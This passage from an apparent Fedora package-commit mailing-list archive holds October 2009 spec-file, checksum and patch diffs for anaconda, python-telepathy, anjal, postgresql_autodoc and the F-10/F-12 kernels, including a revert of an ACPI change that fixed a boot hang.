+- Missing volume_key shouldn't break LUKS support completely. (#526899)
+  (dlehman)
+- Write multipathd.conf in anaconda so that dracut can find it. (pjones)
+- We moved from dialog to newt.. (#528497) (msivak)
+- Fix a segfault when stage2= boot parameter and kickstart url method is
+  used (#524417). (rvykydal)
+- Fix parsing of optional portnr in iscsi target IP (#525118) (hdegoede)
+
 * Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 13.3-1
 - Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
 - Add MultipathDevice.getDMNode(), because .updateSysfsPath() needs it.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.812
retrieving revision 1.813
diff -u -p -r1.812 -r1.813
--- sources	10 Oct 2009 01:35:12 -0000	1.812
+++ sources	12 Oct 2009 22:58:56 -0000	1.813
@@ -1 +1 @@
-716a43a9ad2a6bfbf9262dc5999376c8  anaconda-13.3.tar.bz2
+7d123c7b18a98212c385d273e6508e42  anaconda-13.4.tar.bz2



From bpepple at fedoraproject.org  Mon Oct 12 23:04:00 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 12 Oct 2009 23:04:00 +0000 (UTC)
Subject: rpms/python-telepathy/devel .cvsignore, 1.21,
	1.22 python-telepathy.spec, 1.33, 1.34 sources, 1.21, 1.22
Message-ID: <20091012230400.7B96911C00DB@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/python-telepathy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15702

Modified Files:
	.cvsignore python-telepathy.spec sources 
Log Message:
* Mon Oct 12 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.15.12-1
- Update to 0.15.12.
- Modify to use autotools.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-telepathy/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	18 Aug 2009 23:17:36 -0000	1.21
+++ .cvsignore	12 Oct 2009 23:04:00 -0000	1.22
@@ -1 +1 @@
-telepathy-python-0.15.11.tar.gz
+telepathy-python-0.15.12.tar.gz


Index: python-telepathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-telepathy/devel/python-telepathy.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- python-telepathy.spec	18 Aug 2009 23:17:36 -0000	1.33
+++ python-telepathy.spec	12 Oct 2009 23:04:00 -0000	1.34
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-telepathy
-Version:        0.15.11
+Version:        0.15.12
 Release:        1%{?dist}
 Summary:        Python libraries for Telepathy
 
@@ -28,13 +28,14 @@ Python libraries for use in Telepathy cl
 
 
 %build
-%{__python} setup.py build
+%configure
+make
 chmod 0644 examples/*
 
 
 %install
 rm -rf $RPM_BUILD_ROOT
-%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
 
  
 %clean
@@ -45,10 +46,13 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc COPYING AUTHORS README NEWS examples/
 %{python_sitelib}/telepathy/
-%{python_sitelib}/*.egg-info
 
 
 %changelog
+* Mon Oct 12 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.15.12-1
+- Update to 0.15.12.
+- Modify to use autotools.
+
 * Tue Aug 18 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.15.11-1
 - Update to 0.15.11.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-telepathy/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	18 Aug 2009 23:17:36 -0000	1.21
+++ sources	12 Oct 2009 23:04:00 -0000	1.22
@@ -1 +1 @@
-6ab0d05717d05889d4018dd43f071ff0  telepathy-python-0.15.11.tar.gz
+5d3956d9729862c23be34e4815c77d33  telepathy-python-0.15.12.tar.gz



From pbrobinson at fedoraproject.org  Mon Oct 12 23:08:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 23:08:16 +0000 (UTC)
Subject: rpms/anjal/devel .cvsignore, 1.7, 1.8 anjal.spec, 1.9, 1.10 sources,
	1.7, 1.8
Message-ID: <20091012230816.91C9211C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16823

Modified Files:
	.cvsignore anjal.spec sources 
Log Message:
- New git snapshot, lots of updated translations, nearing first release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	28 Sep 2009 13:25:14 -0000	1.7
+++ .cvsignore	12 Oct 2009 23:08:15 -0000	1.8
@@ -1 +1 @@
-anjal-0.1.0-20090928.tar.bz2
+anjal-0.1.0-20091012.tar.bz2


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/anjal.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- anjal.spec	29 Sep 2009 11:03:24 -0000	1.9
+++ anjal.spec	12 Oct 2009 23:08:15 -0000	1.10
@@ -2,14 +2,14 @@
 # git clone git://git.gnome.org/anjal
 # git archive --format=tar --prefix=anjal-0.1.0/ %{git_version} | bzip2 > anjal-0.1.0-%{gitdate}.tar.bz2
 
-%define gitdate 20090928
-%define git_version a7a5264
+%define gitdate 20091012
+%define git_version bf7a3d2
 %define tarfile %{name}-%{version}-%{gitdate}.tar.bz2
 %define snapshot %{gitdate}git%{git_version}
 
 Name:           anjal
 Version:        0.1.0
-Release:        0.12.%{snapshot}%{?dist}
+Release:        0.13.%{snapshot}%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
@@ -95,6 +95,9 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13
+- New git snapshot, lots of updated translations, nearing first release
+
 * Mon Sep 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.12
 - Re-enable anerley now we have a MC-5 port :)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	28 Sep 2009 13:25:14 -0000	1.7
+++ sources	12 Oct 2009 23:08:15 -0000	1.8
@@ -1 +1 @@
-78b581fb13788a466fe6403ed109309f  anjal-0.1.0-20090928.tar.bz2
+50694d6c475e90e4a637eafd393ce51a  anjal-0.1.0-20091012.tar.bz2



From pbrobinson at fedoraproject.org  Mon Oct 12 23:17:53 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 23:17:53 +0000 (UTC)
Subject: rpms/anjal/F-12 .cvsignore, 1.7, 1.8 anjal.spec, 1.9, 1.10 sources, 
	1.7, 1.8
Message-ID: <20091012231753.8363611C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21740

Modified Files:
	.cvsignore anjal.spec sources 
Log Message:
- New git snapshot, lots of updated translations, nearing first release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	28 Sep 2009 13:25:14 -0000	1.7
+++ .cvsignore	12 Oct 2009 23:17:53 -0000	1.8
@@ -1 +1 @@
-anjal-0.1.0-20090928.tar.bz2
+anjal-0.1.0-20091012.tar.bz2


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/anjal.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- anjal.spec	29 Sep 2009 11:14:38 -0000	1.9
+++ anjal.spec	12 Oct 2009 23:17:53 -0000	1.10
@@ -2,14 +2,14 @@
 # git clone git://git.gnome.org/anjal
 # git archive --format=tar --prefix=anjal-0.1.0/ %{git_version} | bzip2 > anjal-0.1.0-%{gitdate}.tar.bz2
 
-%define gitdate 20090928
-%define git_version a7a5264
+%define gitdate 20091012
+%define git_version bf7a3d2
 %define tarfile %{name}-%{version}-%{gitdate}.tar.bz2
 %define snapshot %{gitdate}git%{git_version}
 
 Name:           anjal
 Version:        0.1.0
-Release:        0.12.%{snapshot}%{?dist}
+Release:        0.13.%{snapshot}%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
@@ -95,6 +95,9 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13
+- New git snapshot, lots of updated translations, nearing first release
+
 * Mon Sep 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.12
 - Re-enable anerley now we have a MC-5 port :)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	28 Sep 2009 13:25:14 -0000	1.7
+++ sources	12 Oct 2009 23:17:53 -0000	1.8
@@ -1 +1 @@
-78b581fb13788a466fe6403ed109309f  anjal-0.1.0-20090928.tar.bz2
+50694d6c475e90e4a637eafd393ce51a  anjal-0.1.0-20091012.tar.bz2



From devrim at fedoraproject.org  Mon Oct 12 23:41:04 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 23:41:04 +0000 (UTC)
Subject: rpms/postgresql_autodoc/EL-5 postgresql_autodoc-makefile.patch, NONE,
	1.1 postgresql_autodoc.spec, 1.3, 1.4
Message-ID: <20091012234104.CC01811C0265@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26415/EL-5

Modified Files:
	postgresql_autodoc.spec 
Added Files:
	postgresql_autodoc-makefile.patch 
Log Message:
Update to 1.40, and add a patch for clean build.



postgresql_autodoc-makefile.patch:
 Makefile |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE postgresql_autodoc-makefile.patch ---
--- Makefile.old	2009-10-13 01:23:11.000000000 +0300
+++ Makefile	2009-10-13 01:23:15.000000000 +0300
@@ -1,8 +1,6 @@
 # $Header: /cvsroot/autodoc/autodoc/Makefile,v 1.7 2009/05/01 02:31:10 rbt Exp $
 
 # install configuration
-DESTDIR =
-PREFIX = /usr/local
 BINDIR = ${PREFIX}/bin
 DATADIR = ${PREFIX}/share/postgresql_autodoc
 


Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/EL-5/postgresql_autodoc.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- postgresql_autodoc.spec	30 Jul 2009 19:35:22 -0000	1.3
+++ postgresql_autodoc.spec	12 Oct 2009 23:41:04 -0000	1.4
@@ -6,6 +6,7 @@ Group:		Applications/Databases
 License:	BSD
 URL:		http://www.rbt.ca/autodoc/
 Source0:	http://www.rbt.ca/autodoc/binaries/%{name}-%{version}.tar.gz
+Patch0:		%{name}-makefile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 
@@ -22,18 +23,17 @@ describes the database.
 
 %prep
 %setup -q -n %{name}
+%patch0 -p0
 
 %build
-%configure --datadir=%{_datadir}/pgsql
-make %{?_smp_mflags}
+PREFIX=%{_usr} make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
 install -d %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_docdir}/%{name}
-cp -p postgresql_autodoc %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_datadir}/pgsql/%{name}
-cp -p *.tmpl %{buildroot}/%{_datadir}/pgsql/%{name}
+install -d %{buildroot}/%{_datadir}/?
+install -d %{buildroot}/%{_datadir}/%{name}
+DESTDIR=%{buildroot} PREFIX=%{_usr} make install %{?_smp_mflags}
 
 %clean
 rm -rf %{buildroot}
@@ -41,7 +41,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %{_bindir}/%{name}
-%{_datadir}/pgsql/%{name}
+%{_datadir}/%{name}
 
 %changelog
 * Thu Jul 30 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1



From devrim at fedoraproject.org  Mon Oct 12 23:41:04 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Mon, 12 Oct 2009 23:41:04 +0000 (UTC)
Subject: rpms/postgresql_autodoc/EL-4 postgresql_autodoc-makefile.patch, NONE,
	1.1 postgresql_autodoc.spec, 1.3, 1.4
Message-ID: <20091012234104.C88A211C00DB@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql_autodoc/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26415/EL-4

Modified Files:
	postgresql_autodoc.spec 
Added Files:
	postgresql_autodoc-makefile.patch 
Log Message:
Update to 1.40, and add a patch for clean build.



postgresql_autodoc-makefile.patch:
 Makefile |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE postgresql_autodoc-makefile.patch ---
--- Makefile.old	2009-10-13 01:23:11.000000000 +0300
+++ Makefile	2009-10-13 01:23:15.000000000 +0300
@@ -1,8 +1,6 @@
 # $Header: /cvsroot/autodoc/autodoc/Makefile,v 1.7 2009/05/01 02:31:10 rbt Exp $
 
 # install configuration
-DESTDIR =
-PREFIX = /usr/local
 BINDIR = ${PREFIX}/bin
 DATADIR = ${PREFIX}/share/postgresql_autodoc
 


Index: postgresql_autodoc.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql_autodoc/EL-4/postgresql_autodoc.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- postgresql_autodoc.spec	30 Jul 2009 19:35:21 -0000	1.3
+++ postgresql_autodoc.spec	12 Oct 2009 23:41:03 -0000	1.4
@@ -6,6 +6,7 @@ Group:		Applications/Databases
 License:	BSD
 URL:		http://www.rbt.ca/autodoc/
 Source0:	http://www.rbt.ca/autodoc/binaries/%{name}-%{version}.tar.gz
+Patch0:		%{name}-makefile.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 
@@ -22,18 +23,17 @@ describes the database.
 
 %prep
 %setup -q -n %{name}
+%patch0 -p0
 
 %build
-%configure --datadir=%{_datadir}/pgsql
-make %{?_smp_mflags}
+PREFIX=%{_usr} make %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
 install -d %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_docdir}/%{name}
-cp -p postgresql_autodoc %{buildroot}/%{_bindir}/
-install -d %{buildroot}/%{_datadir}/pgsql/%{name}
-cp -p *.tmpl %{buildroot}/%{_datadir}/pgsql/%{name}
+install -d %{buildroot}/%{_datadir}/?
+install -d %{buildroot}/%{_datadir}/%{name}
+DESTDIR=%{buildroot} PREFIX=%{_usr} make install %{?_smp_mflags}
 
 %clean
 rm -rf %{buildroot}
@@ -41,7 +41,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %{_bindir}/%{name}
-%{_datadir}/pgsql/%{name}
+%{_datadir}/%{name}
 
 %changelog
 * Thu Jul 30 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 1.40-1



From cebbert at fedoraproject.org  Tue Oct 13 00:36:59 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 00:36:59 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.37.bz2.sign, NONE, 1.1.2.1 .cvsignore,
	1.960.2.25, 1.960.2.26 kernel.spec, 1.1206.2.102,
	1.1206.2.103 sources, 1.922.2.25, 1.922.2.26 upstream,
	1.834.2.25, 1.834.2.26 patch-2.6.27.36.bz2.sign, 1.1.2.1,
	NONE patch-2.6.27.37-rc1.bz2.sign, 1.1.2.1, NONE
Message-ID: <20091013003659.CF7CE11C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8577

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.37.bz2.sign 
Removed Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.36.bz2.sign patch-2.6.27.37-rc1.bz2.sign 
Log Message:
Linux 2.6.27.37


--- NEW FILE patch-2.6.27.37.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK07p9yGugalF9Dw4RAi66AKCPoYg7i0dmhJ6rcgUJ9SH4io/lbACfSYi5
jgcCdbv1AAzW9H2ZD5yYb9k=
=0ocp
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.25
retrieving revision 1.960.2.26
diff -u -p -r1.960.2.25 -r1.960.2.26
--- .cvsignore	11 Oct 2009 21:02:52 -0000	1.960.2.25
+++ .cvsignore	13 Oct 2009 00:36:57 -0000	1.960.2.26
@@ -4,5 +4,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
-patch-2.6.27.36.bz2
-patch-2.6.27.37-rc1.bz2
+patch-2.6.27.37.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.102
retrieving revision 1.1206.2.103
diff -u -p -r1.1206.2.102 -r1.1206.2.103
--- kernel.spec	12 Oct 2009 00:40:13 -0000	1.1206.2.102
+++ kernel.spec	13 Oct 2009 00:36:57 -0000	1.1206.2.103
@@ -41,7 +41,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 37
 # Is it a -stable RC?
-%define stable_rc 1
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2018,6 +2018,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.103
+- Linux 2.6.27.37
+
 * Sun Oct 11 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.102.rc1
 - Fix broken IrDA stack in 2.6.27 (#508874)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.25
retrieving revision 1.922.2.26
diff -u -p -r1.922.2.25 -r1.922.2.26
--- sources	11 Oct 2009 21:02:52 -0000	1.922.2.25
+++ sources	13 Oct 2009 00:36:58 -0000	1.922.2.26
@@ -1,3 +1,2 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
-868646f1e2dcc6280c412bd7ee9f3ece  patch-2.6.27.36.bz2
-942fc46df8248c07c5535081f0c45041  patch-2.6.27.37-rc1.bz2
+e75d87c11065955871b2e005d0242c99  patch-2.6.27.37.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.25
retrieving revision 1.834.2.26
diff -u -p -r1.834.2.25 -r1.834.2.26
--- upstream	11 Oct 2009 21:02:52 -0000	1.834.2.25
+++ upstream	13 Oct 2009 00:36:58 -0000	1.834.2.26
@@ -1,4 +1,3 @@
 linux-2.6.27.tar.bz2
-patch-2.6.27.36.bz2
-patch-2.6.27.37-rc1.bz2
+patch-2.6.27.37.bz2
 


--- patch-2.6.27.36.bz2.sign DELETED ---


--- patch-2.6.27.37-rc1.bz2.sign DELETED ---



From cebbert at fedoraproject.org  Tue Oct 13 00:39:38 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 00:39:38 +0000 (UTC)
Subject: rpms/kernel/F-12 patch-2.6.31.4.bz2.sign, NONE, 1.1 .cvsignore,
	1.1129, 
	1.1130 kernel.spec, 1.1861, 1.1862 linux-2.6-compile-fixes.patch,
	1.196, 1.197 sources, 1.1087, 1.1088 upstream, 1.1001,
	1.1002 patch-2.6.31.3.bz2.sign, 1.1,
	NONE patch-2.6.31.4-rc2.bz2.sign, 1.1, NONE
Message-ID: <20091013003938.B1A7111C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9047

Modified Files:
	.cvsignore kernel.spec linux-2.6-compile-fixes.patch sources 
	upstream 
Added Files:
	patch-2.6.31.4.bz2.sign 
Removed Files:
	patch-2.6.31.3.bz2.sign patch-2.6.31.4-rc2.bz2.sign 
Log Message:
Linux 2.6.31.4


--- NEW FILE patch-2.6.31.4.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK07q9yGugalF9Dw4RAi20AJ9iL7DEv2KkeZaZNogGdrOkXmlEgwCfaQ9d
DefCbKNy2tKReB+f+pRqMy0=
=PG/w
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/.cvsignore,v
retrieving revision 1.1129
retrieving revision 1.1130
diff -u -p -r1.1129 -r1.1130
--- .cvsignore	11 Oct 2009 13:37:45 -0000	1.1129
+++ .cvsignore	13 Oct 2009 00:39:37 -0000	1.1130
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.31.3.bz2
-patch-2.6.31.4-rc2.bz2
+patch-2.6.31.4.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1861
retrieving revision 1.1862
diff -u -p -r1.1861 -r1.1862
--- kernel.spec	12 Oct 2009 20:17:23 -0000	1.1861
+++ kernel.spec	13 Oct 2009 00:39:38 -0000	1.1862
@@ -42,7 +42,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 4
 # Is it a -stable RC?
-%define stable_rc 2
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2055,6 +2055,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-76
+- Linux 2.6.31.4
+
 * Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.4-75.rc2
 - improve-resource-counter-scalability.patch: Fix scalability issues
   on big machines, requested by prarit.

linux-2.6-compile-fixes.patch:
 0 files changed

Index: linux-2.6-compile-fixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/linux-2.6-compile-fixes.patch,v
retrieving revision 1.196
retrieving revision 1.197
diff -u -p -r1.196 -r1.197
--- linux-2.6-compile-fixes.patch	11 Oct 2009 13:37:46 -0000	1.196
+++ linux-2.6-compile-fixes.patch	13 Oct 2009 00:39:38 -0000	1.197
@@ -4,19 +4,3 @@
 # Please add the errors from gcc before the diffs to save others having
 # to do a compile to figure out what your diff is fixing. Thanks.
 #
-kvm: svm: fix build
-
-arch/x86/kvm/svm.c: In function 'svm_vcpu_load':
-arch/x86/kvm/svm.c:713: error: 'struct vcpu_svm' has no member named 'nested'
-
---- linux-2.6.31.noarch.orig/arch/x86/kvm/svm.c
-+++ linux-2.6.31.noarch/arch/x86/kvm/svm.c
-@@ -710,7 +710,7 @@ static void svm_vcpu_load(struct kvm_vcp
- 		delta = vcpu->arch.host_tsc - tsc_this;
- 		svm->vmcb->control.tsc_offset += delta;
- 		if (is_nested(svm))
--			svm->nested.hsave->control.tsc_offset += delta;
-+			svm->hsave->control.tsc_offset += delta;
- 		vcpu->cpu = cpu;
- 		kvm_migrate_timers(vcpu);
- 		svm->asid_generation = 0;


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/sources,v
retrieving revision 1.1087
retrieving revision 1.1088
diff -u -p -r1.1087 -r1.1088
--- sources	11 Oct 2009 13:37:47 -0000	1.1087
+++ sources	13 Oct 2009 00:39:38 -0000	1.1088
@@ -1,3 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-24d60ad6645211e2c08dc1c1c578b249  patch-2.6.31.3.bz2
-f1fa28b0178eab2f486d2ac5e1120cc1  patch-2.6.31.4-rc2.bz2
+02078f4231baee4f0004212f2875df2b  patch-2.6.31.4.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/upstream,v
retrieving revision 1.1001
retrieving revision 1.1002
diff -u -p -r1.1001 -r1.1002
--- upstream	11 Oct 2009 13:37:47 -0000	1.1001
+++ upstream	13 Oct 2009 00:39:38 -0000	1.1002
@@ -1,3 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.31.3.bz2
-patch-2.6.31.4-rc2.bz2
+patch-2.6.31.4.bz2


--- patch-2.6.31.3.bz2.sign DELETED ---


--- patch-2.6.31.4-rc2.bz2.sign DELETED ---



From cebbert at fedoraproject.org  Tue Oct 13 00:47:16 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 00:47:16 +0000 (UTC)
Subject: rpms/kernel/F-12 acpi-revert-attach-device-to-handle-early.patch,
	NONE, 1.1 kernel.spec, 1.1862, 1.1863
Message-ID: <20091013004716.5BC9611C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9725

Modified Files:
	kernel.spec 
Added Files:
	acpi-revert-attach-device-to-handle-early.patch 
Log Message:
Fix boot hang with ACPI on some systems.

acpi-revert-attach-device-to-handle-early.patch:
 scan.c |   12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

--- NEW FILE acpi-revert-attach-device-to-handle-early.patch ---
From: Len Brown <len.brown at intel.com>
Date: Sat, 5 Sep 2009 17:33:23 +0000 (-0400)
Subject: Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flenb%2Flinux-acpi-2.6.git;a=commitdiff_plain;h=f61f925859c57f6175082aeeee17743c68558a6e

Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"

This reverts commit eab4b645769fa2f8703f5a3cb0cc4ac090d347af.

http://bugzilla.kernel.org/show_bug.cgi?id=13002

Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/scan.c b/drivers/acpi/scan.c
index 781435d..5dd702c 100644
--- a/drivers/acpi/scan.c
+++ b/drivers/acpi/scan.c
@@ -1264,16 +1264,6 @@ acpi_add_single_object(struct acpi_device **child,
 	acpi_device_set_id(device, parent, handle, type);
 
 	/*
-	 * The ACPI device is attached to acpi handle before getting
-	 * the power/wakeup/peformance flags. Otherwise OS can't get
-	 * the corresponding ACPI device by the acpi handle in the course
-	 * of getting the power/wakeup/performance flags.
-	 */
-	result = acpi_device_set_context(device, type);
-	if (result)
-		goto end;
-
-	/*
 	 * Power Management
 	 * ----------------
 	 */
@@ -1303,6 +1293,8 @@ acpi_add_single_object(struct acpi_device **child,
 			goto end;
 	}
 
+	if ((result = acpi_device_set_context(device, type)))
+		goto end;
 
 	result = acpi_device_register(device, parent);
 



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1862
retrieving revision 1.1863
diff -u -p -r1.1862 -r1.1863
--- kernel.spec	13 Oct 2009 00:39:38 -0000	1.1862
+++ kernel.spec	13 Oct 2009 00:47:16 -0000	1.1863
@@ -750,6 +750,8 @@ Patch14100: pci-increase-alignment-to-ma
 # fix resource counter issues on *big* machines
 Patch14101: improve-resource-counter-scalability.patch
 
+# fix boot hang on some systems
+Patch14200: acpi-revert-attach-device-to-handle-early.patch
 
 %endif
 
@@ -1399,6 +1401,9 @@ ApplyPatch pci-increase-alignment-to-mak
 
 ApplyPatch improve-resource-counter-scalability.patch
 
+# fix boot hang on some systems
+ApplyPatch acpi-revert-attach-device-to-handle-early.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2055,6 +2060,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-77
+- Fix boot hang with ACPI on some systems.
+
 * Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-76
 - Linux 2.6.31.4
 



From cebbert at fedoraproject.org  Tue Oct 13 01:19:22 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 01:19:22 +0000 (UTC)
